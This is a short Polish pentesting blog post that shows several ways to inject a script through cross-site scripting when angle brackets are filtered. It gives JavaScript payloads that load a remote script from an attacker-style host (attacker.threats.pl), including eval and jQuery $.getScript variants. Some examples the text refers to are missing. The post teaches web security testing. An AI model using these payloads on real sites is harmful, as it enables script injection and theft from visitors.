Jak wstawić skrypt
Trochę nawiązanie do wcześniejszego wpisu (Jak serwować payload bezpośrednio z Burp?). Generalnie pytanie brzmi – jak wstawić payload.
Nie, to nie będzie wyczerpująca lista wszystkich możliwych sposobów. Chodzi mi tylko o to, by pokazać, że metod jest więcej niż jedna.
Metoda podstawowa – oczywista oczywistość:
Czasami jednak nie ma takiej możliwości, choćby dlatego, że znaki < i > są filtrowane, ale zupełnie przypadkiem jesteśmy w środku bloku JavaScript, wtedy można zrobić coś takiego:
var p = document.createElement('script'); p.src = “http://attacker.threats.pl/p.js"; document.getElementsByTagName(“head”)[0].appendChild(p);
I tutaj uwaga, ta technika bardzo dobrze zadziała również w kontekście atrybutu HTML, choćby tak:
Oczywiście, można też tak (gdy nasz input wpada jako zawartość stringa w kontekście JavaScript):
var x = 'a' + eval(“var p = document.createElement('script');p.src = 'http://attacker.threats.pl/p.js';document.getElementsByTagName('head')[0].appendChild(p);") + 'b';
A jeśli przypadkiem na stronie wykorzystywane jest jQuery:
var a = 'a' + $.getScript('http://attacker.threats.pl/p.js') + 'b'
Oryginał tego wpisu dostępny jest pod adresem Jak wstawić skrypt
Autor: Paweł Goleń